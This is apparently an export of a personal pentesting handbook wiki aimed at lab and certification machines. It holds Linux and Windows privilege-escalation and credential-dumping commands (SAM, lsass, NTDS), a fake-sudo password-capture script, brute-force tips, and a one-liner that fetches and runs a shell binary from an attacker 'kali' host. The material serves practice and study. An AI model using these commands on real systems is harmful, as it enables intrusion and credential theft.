        wordlist.write(i[0].capitalize() + &amp;quot;.&amp;quot; + i[1].capitalize())&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    for i in range(0,2023):&lt;br /&gt;
        for v in words:&lt;br /&gt;
            word = v + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Linux Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Add SUID (setuid) bit to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
chmod 4755 /tmp/sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add user to sudoers file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Add User to sudoers file&lt;br /&gt;
echo username ALL=(ALL) ALL &amp;gt;&amp;gt; sudoers&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BruteForce using su when having a shell - Password Spray ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/carlospolop/su-bruteforce&lt;br /&gt;
./su.sh  -u ray -w xato-net-10-million-passwords-10000.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cat, cut delimeter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Cat a file and cut delimiter space in field 3&lt;br /&gt;
cat $log | cut -d&#039; &#039; -f3-&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy output to clipboard ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat file | xclip -selection clipboard&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enable cursor in Terminal Kali ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
tput cnorm&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Output tty to shell or redirect to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From eavsdropper room in THM&lt;br /&gt;
# If a user types in his password and you have a shell you can redirect output to your shell.&lt;br /&gt;
cat sudo&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
read password&lt;br /&gt;
echo $password &amp;gt; /dev/pty/0 # Choose the correct pty.&lt;br /&gt;
# Now export PATH så when the user runs the command it will execute your sudo script instead of real sudo.&lt;br /&gt;
# Run&lt;br /&gt;
export $PATH=/tmp:$PATH&lt;br /&gt;
# Now wait for the user to type his password and it will pop up in your shell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kill/close open port on linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
fuser -k PORT/tcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reset kali to default settings ===&lt;br /&gt;
&lt;br /&gt;
BE CAREFUL AS THIS MIGHT BREAK SOME PACKAGES. Always take snapshot before running the commands below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you&#039;re having problems with kali acting up, you can reset kali to default.&lt;br /&gt;
# To reset Kali Linux to the default package and kernel, you will need to run the following commands:&lt;br /&gt;
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade&lt;br /&gt;
sudo apt-get dist-upgrade&lt;br /&gt;
sudo apt-get autoremove&lt;br /&gt;
sudo apt-get autoclean&lt;br /&gt;
sudo update-grub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restricted shell (rbash) - Linux Restricted Shell Bypass ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://vk9-sec.com/linux-restricted-shell-bypass/&lt;br /&gt;
# List of escape methods&lt;br /&gt;
https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/&lt;br /&gt;
# If in rshell (Restricted shell), use this command to list all available commands&lt;br /&gt;
compgen -c&lt;br /&gt;
# Rbash escape ssh&lt;br /&gt;
ssh alfred@10.11.1.101 -t &#039;bash&#039; --noprofile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Read .db files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For DB files, like users.db. Read content with sqlitebrowser&lt;br /&gt;
sqlitebrowser users.db&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Read Windows registry files on Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start hivexsh, and load a hive.&lt;br /&gt;
# https://linux.die.net/man/1/hivexsh&lt;br /&gt;
hivexsh&lt;br /&gt;
&amp;gt; load SECURITY&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ss instead of netstat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ss -tlpn&lt;br /&gt;
-t display tcp socket&lt;br /&gt;
-l display listening socket&lt;br /&gt;
-p show process using packets&lt;br /&gt;
-n dont resolve service name&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Desktop Environment if its broken ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.kali.org/docs/general-use/xfce-faq/&lt;br /&gt;
If you are having issues, it may be that a config file is not set properly. First, backup .cache, .config, and .local. Next, running rm -r .cache .config .local and then rebooting will likely fix those issues.&lt;br /&gt;
REMEMBER TO DELETE IT FROM THE HOME USER and not root.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Kali Login loop ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On the login screen type&lt;br /&gt;
CTRL + ALT + F1&lt;br /&gt;
# then type this command from the home/kali dir.&lt;br /&gt;
sudo mv ~/.Xauthority ~/.Xauthority.backup sudo chmod 700 ~ sudo chown -R kali:kali ~ sudo service lightdm restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Windows Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Stealing SAM and SYSTEM ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://book.hacktricks.xyz/windows-hardening/stealing-credentials]&lt;br /&gt;
&lt;br /&gt;
This files should be &#039;&#039;&#039;located&#039;&#039;&#039; in &#039;&#039;C:\windows\system32\config\SAM&#039;&#039; and &#039;&#039;C:\windows\system32\config\SYSTEM.&#039;&#039; But &#039;&#039;&#039;you cannot just copy them in a regular way&#039;&#039;&#039; because they protected.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\config\SAM&lt;br /&gt;
C:\windows\system32\config\SYSTEM&lt;br /&gt;
C:\windows\system32\config\regback\system.old&lt;br /&gt;
C:\windows\system32\config\regback\system&lt;br /&gt;
C:\windows\system32\config\regback\sam.old&lt;br /&gt;
C:\windows\system32\config\regback\sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== From Registry ====&lt;br /&gt;
&lt;br /&gt;
The easiest way to steal those files is to get a copy from the registry:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save HKLM\sam sam&lt;br /&gt;
reg save HKLM\system system&lt;br /&gt;
reg save HKLM\security security&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Download&#039;&#039;&#039; those files to your Kali machine and &#039;&#039;&#039;extract the hashes&#039;&#039;&#039; using:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
samdump2 SYSTEM SAM&lt;br /&gt;
impacket-secretsdump -sam sam -security security -system system LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Check if shell is 64-bit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Environment]::Is64BitOperatingSystem&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decompile .NET exe file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use dotpeek or dnSPY&lt;br /&gt;
https://www.jetbrains.com/decompiler/&lt;br /&gt;
https://github.com/dnSpy/dnSpy&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump hashes from NTDS.dit using secretdump.py ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Location C:\Windows\ or C:\Windows\System32\&lt;br /&gt;
/usr/bin/impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping Domain password hasehs ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#diskshadow&lt;br /&gt;
https://pentestlab.blog/tag/diskshadow/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump creds frol lsass.dmp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/skelsec/pypykatz&lt;br /&gt;
# See writeup for HTB Blackfield&lt;br /&gt;
pypykatz lsa minidump lsass.DMP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find writeable directories ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writable directories&lt;br /&gt;
dir /a-r-d /s /b&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find .NET version using regkey ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query &amp;quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Executing MSI on Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msiexec /quiet /i cmd.msi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump Windows Sam File ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save hklm\sam c:\sam&lt;br /&gt;
reg save hklm\system c:\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Run a dll using rundll32.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rundll32 C:\Tools\TestDll.dll,run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query HKLM /f password /t REG_SZ /s&lt;br /&gt;
reg query HKCU /f password /t REG_SZ /s&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump autologon passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg.exe query &amp;quot;HKLM\software\microsoft\windows nt\currentversion\winlogon&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== See WiFi password in cleartext ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
netsh wlan show profile&lt;br /&gt;
netsh wlan show profile Profile01 key=clear&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enviroment variable Location ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| %ALLUSERSPROFILE%&lt;br /&gt;
|  C:\Documents and Settings\All Users&lt;br /&gt;
|-&lt;br /&gt;
| %APPDATA%&lt;br /&gt;
| C:\Documents and Settings\Username\Application Data&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES%&lt;br /&gt;
|  C:\Program Files\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES(x86)%&lt;br /&gt;
| C:\Program Files (x86)\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMSPEC%&lt;br /&gt;
| C:\Windows\System32\cmd.exe&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEDRIVE%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %HOMEPATH%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES%&lt;br /&gt;
| C:\Program Files&lt;br /&gt;
|-&lt;br /&gt;
| %PROGRAMFILES(X86)%&lt;br /&gt;
| C:\Program Files (x86) (only in 64-bit version)&lt;br /&gt;
|-&lt;br /&gt;
| %SystemDrive%&lt;br /&gt;
|  C:\&lt;br /&gt;
|-&lt;br /&gt;
| %SystemRoot%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|-&lt;br /&gt;
| %TEMP% and %TMP%&lt;br /&gt;
| C:\Documents and Settings\Username\Local Settings\Temp&lt;br /&gt;
|-&lt;br /&gt;
| %USERPROFILE%&lt;br /&gt;
| C:\Documents and Settings\Username&lt;br /&gt;
|-&lt;br /&gt;
| %WINDIR%&lt;br /&gt;
| C:\Windows&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== List all PowerShell Accelators ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[psobject].assembly.gettype(&amp;quot;System.Management.Automation.TypeAccelerators&amp;quot;)::Get&lt;br /&gt;
Key                          Value&lt;br /&gt;
---                          -----&lt;br /&gt;
Alias                        System.Management.Automation.AliasAttribute&lt;br /&gt;
AllowEmptyCollection         System.Management.Automation.AllowEmptyCollectionAttribute&lt;br /&gt;
AllowEmptyString             System.Management.Automation.AllowEmptyStringAttribute&lt;br /&gt;
AllowNull                    System.Management.Automation.AllowNullAttribute&lt;br /&gt;
ArgumentCompleter            System.Management.Automation.ArgumentCompleterAttribute&lt;br /&gt;
array                        System.Array&lt;br /&gt;
bool                         System.Boolean&lt;br /&gt;
byte                         System.Byte&lt;br /&gt;
char                         System.Char&lt;br /&gt;
....&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PROOFS ==&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo &amp;quot; &amp;quot;;echo &amp;quot;uname -a:&amp;quot;;uname -a;echo &amp;quot; &amp;quot;;echo &amp;quot;hostname:&amp;quot;;hostname;echo &amp;quot; &amp;quot;;echo &amp;quot;id&amp;quot;;id;echo &amp;quot; &amp;quot;;echo &amp;quot;ifconfig:&amp;quot;;/sbin/ifconfig -a;echo &amp;quot; &amp;quot;;echo &amp;quot;proof:&amp;quot;;cat /root/proof.txt 2&amp;gt;/dev/null; cat /Desktop/proof.txt 2&amp;gt;/dev/null;echo &amp;quot; &amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
echo. &amp;amp; echo. &amp;amp; echo whoami: &amp;amp; whoami 2&amp;gt; nul &amp;amp; echo %username% 2&amp;gt; nul &amp;amp; echo. &amp;amp; echo Hostname: &amp;amp; hostname &amp;amp; echo. &amp;amp; ipconfig /all &amp;amp; echo. &amp;amp; echo proof.txt: &amp;amp;  type &amp;quot;C:\Documents and Settings\Administrator\Desktop\proof.txt&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HELP! I&#039;m stuck - What to do when stuck ==&lt;br /&gt;
&lt;br /&gt;
The list below is taken from [https://www.blakejarvis.com/oscp/oscp-things-to-try-when-stuck blakejarvis&#039; notes.]&lt;br /&gt;
&lt;br /&gt;
=== Initial access ===&lt;br /&gt;
&lt;br /&gt;
==== Web discovery ====&lt;br /&gt;
&lt;br /&gt;
* Search for &amp;lt;code&amp;gt;http://site/[hostname]&amp;lt;/code&amp;gt; if you can&#039;t find a directory or software you think should exist.&lt;br /&gt;
&lt;br /&gt;
* Try both GET and POST methods for all URLs given that may be blocking data via a particular HTTP method.&lt;br /&gt;
&lt;br /&gt;
* Fuzz parameters with ffuf.&lt;br /&gt;
&lt;br /&gt;
* Examine response headers for minor custom errors.&lt;br /&gt;
&lt;br /&gt;
==== Getting a shell ====&lt;br /&gt;
&lt;br /&gt;
* To save time, upload a web shell instead of manually executing PHP commands.&lt;br /&gt;
&lt;br /&gt;
* Some PHP local file inclusion vulnerabilities can reference remote resources with &amp;lt;code&amp;gt;?path=http://[kali ip]/rev-shell.php&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Break up an exploit. Use Wireshark to watch for ICMP pings back home instead of going for a reverse shell right away.&lt;br /&gt;
&lt;br /&gt;
* Instead of sharing a full rev shell payload, download an elf, +x, and execute it all in 1 command: &amp;lt;code&amp;gt;wget -P /tmp http://kali/shell.elf &amp;amp;&amp;amp; chmod +x /tmp/shell.elf &amp;amp;&amp;amp; /tmp/shell.elf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* If a CMS has an RCE, look closely at what/where it&#039;s implemented. If it has /skins/ in a proof-of-concept URL, check for that functionality in admin panel or in online documentation.&lt;br /&gt;
&lt;br /&gt;
* When calling back on a port (web request, shell, etc.) try multiple ports if the first fails.&lt;br /&gt;
&lt;br /&gt;
* Piece together multiple initial access exploits. If one creates a web account and tries for a shell and fails, add &amp;lt;code&amp;gt;exit(0)&amp;lt;/code&amp;gt; in the python script after the account is created and use the credentials for another exploit.&lt;br /&gt;
&lt;br /&gt;
* Use the same ports the box has open for shell callbacks.&lt;br /&gt;
&lt;br /&gt;
* Try at least 4 ports and ping when trying to get a callback.&lt;br /&gt;
&lt;br /&gt;
* If you can control data being read to the server, always consider serialization.&lt;br /&gt;
&lt;br /&gt;
* Always test payloads locally, especially if it&#039;s blind.&lt;br /&gt;
&lt;br /&gt;
* Consider where can you write data to that&#039;s then read back in to the server.&lt;br /&gt;
&lt;br /&gt;
==== General ====&lt;br /&gt;
&lt;br /&gt;
* Don&#039;t spin wheels on other routes if something has a known exploit to root and it&#039;s a 10 pointer.&lt;br /&gt;
&lt;br /&gt;
* Check version numbers to ensure something isn&#039;t a false flag.&lt;br /&gt;
&lt;br /&gt;
* Consider similar protocols. If you get an SSH key, try using it over SCP.&lt;br /&gt;
&lt;br /&gt;
* Type version numbers carefully!&lt;br /&gt;
&lt;br /&gt;
* For hydra always do -e nsr. Example: &amp;lt;code&amp;gt;hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.1.1 ftp -vV -f -e nsr -I&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for &amp;lt;code&amp;gt;auth-owners&amp;lt;/code&amp;gt; in nmap to get usernames.&lt;br /&gt;
&lt;br /&gt;
* FTP - always be in a directory on kali that&#039;s writable to download files.&lt;br /&gt;
&lt;br /&gt;
* FTP brute force &amp;quot;admin&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Search Metasploit modules for ideas [https://github.com/rapid7/metasploit-framework https://github.com/rapid7/metasploit-framework].&lt;br /&gt;
&lt;br /&gt;
* Search a software&#039;s Github page for version files that would give specific information.&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Dibble for node.js RCE.&lt;br /&gt;
&lt;br /&gt;
* Review page source code for commented out areas for every page.&lt;br /&gt;
&lt;br /&gt;
* Guess parameters. If there&#039;s a POST forgot_pass.php with an email param, try &amp;lt;code&amp;gt;GET /forgot_pass.php?email=%0aid.&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Parameter/command injection fuzzing:&lt;br /&gt;
Payload list: [https://github.com/payloadbox/command-injection-payload-list github.com/payloadbox/command-injection-payload-list]&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ffuf -w cmd-wordlist.txt -u 192.168.1.1/under_construction/forgot.php?email=abcdFUZZde&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* See Proving Grounds&#039; Hetemit for an example&lt;br /&gt;
&lt;br /&gt;
* When brute forcing credentials, guess the software name as the username and password.&lt;br /&gt;
&lt;br /&gt;
* When dealing with file type uploads, try specifying just the header like GIF89a;. Files pulled from Google Images could be made different and not identified as a GIF.&lt;br /&gt;
&lt;br /&gt;
=== Windows Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Explore the C:\ drive root. Some scheduled tasks can&#039;t be seen as a low level user could be located at C:\.&lt;br /&gt;
&lt;br /&gt;
* Always test a reverse shell on a windows box when attempting to get a shell.&lt;br /&gt;
&lt;br /&gt;
* Explore alternatives to a reverse shell. Leverage exposed remote access protocols. For example, if a reverse shell doesn&#039;t work, execute a command to change the Administrator password and used smbexec to auth.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force authentication via RDP&lt;br /&gt;
&lt;br /&gt;
* Always view &amp;quot;C:\program files&amp;quot; and &amp;quot;C:\program files (x86)&amp;quot; for installed apps.&lt;br /&gt;
&lt;br /&gt;
=== Linux Privilege Escalation ===&lt;br /&gt;
&lt;br /&gt;
* Privesc scripts aren&#039;t always right:&lt;br /&gt;
e.g. a decoy exist item in crontab when &amp;lt;code&amp;gt;sudo -l&amp;lt;/code&amp;gt; reveals a process dumper used to get credentials from memory.&lt;br /&gt;
&lt;br /&gt;
* If a process dumper is available, don&#039;t Google too deep. See if there are custom &amp;quot;password&amp;quot; processes to target.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;su root&amp;lt;/code&amp;gt; is the best way to switch to root if you have a password but aren&#039;t in root group.&lt;br /&gt;
&lt;br /&gt;
* Identify all users. Attempt to brute force auth ssh if &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; is pulled.&lt;br /&gt;
&lt;br /&gt;
* Always run &amp;lt;code&amp;gt;echo $PATH&amp;lt;/code&amp;gt; to show available commands/locations.&lt;br /&gt;
&lt;br /&gt;
* Docker - see Proving Grounds&#039; Sirol/Escape box.&lt;br /&gt;
&lt;br /&gt;
* If a user is in a group, it&#039;s probably for a reason.&lt;br /&gt;
&lt;br /&gt;
* Fully understand software that&#039;s related to a user&#039;s group (e.g. fail2ban group).&lt;br /&gt;
&lt;br /&gt;
* Use [https://github.com/DominicBreuker/pspy pspy] to spy on processes and cronjobs you may not be able to see&lt;br /&gt;
&lt;br /&gt;
* Run &amp;lt;code&amp;gt;groups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;cat ~/.profile &amp;amp;&amp;amp; cat ~/.bashrc&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* If running as www-data, always inspect the contents of html or the application, look for commented out passwords.&lt;br /&gt;
&lt;br /&gt;
* If another user exist, always &amp;lt;code&amp;gt;su [user]&amp;lt;/code&amp;gt; with no password and their name as the password.&lt;br /&gt;
&lt;br /&gt;
* Check &amp;lt;code&amp;gt;/var/backups&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* Custom SUIDs won&#039;t be highlighted as linpeas and other privesc scripts don&#039;t know what they are.&lt;br /&gt;
Examine each and every SUD!&lt;br /&gt;
&lt;br /&gt;
* Run [https://github.com/diego-treitos/linux-smart-enumeration linux-smart-enumeration/lse.sh] as a backup privilege escalation script.&lt;br /&gt;
&lt;br /&gt;
* Run also linux-exploit-suggester and linux-exploit-suggester-2.pl&lt;br /&gt;
&lt;br /&gt;
* Try kernel exploits! If no &amp;lt;code&amp;gt;gcc &amp;lt;/code&amp;gt;installed, compile on kali with &amp;lt;code&amp;gt;gcc --static&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Files with caps / capabilities - see Proving Grounds&#039; Escape box.&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2351</id>
		<title>Handbook II - Advanced</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2351"/>
		<updated>2026-03-03T13:44:16Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* AV Evasion - General */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Great websites ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Link&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Sites&lt;br /&gt;
| [https://lots-project.com/ LOTS Project - Living Off Trusted Sites (lots-project.com)]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land&lt;br /&gt;
| [https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land C2&lt;br /&gt;
| [https://lolc2.github.io/ LOLC2]&lt;br /&gt;
|-&lt;br /&gt;
| GTFObins&lt;br /&gt;
| [https://gtfobins.github.io/ https://gtfobins.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off The Land Drivers&lt;br /&gt;
| [https://www.loldrivers.io/ LOLDrivers]&lt;br /&gt;
|-&lt;br /&gt;
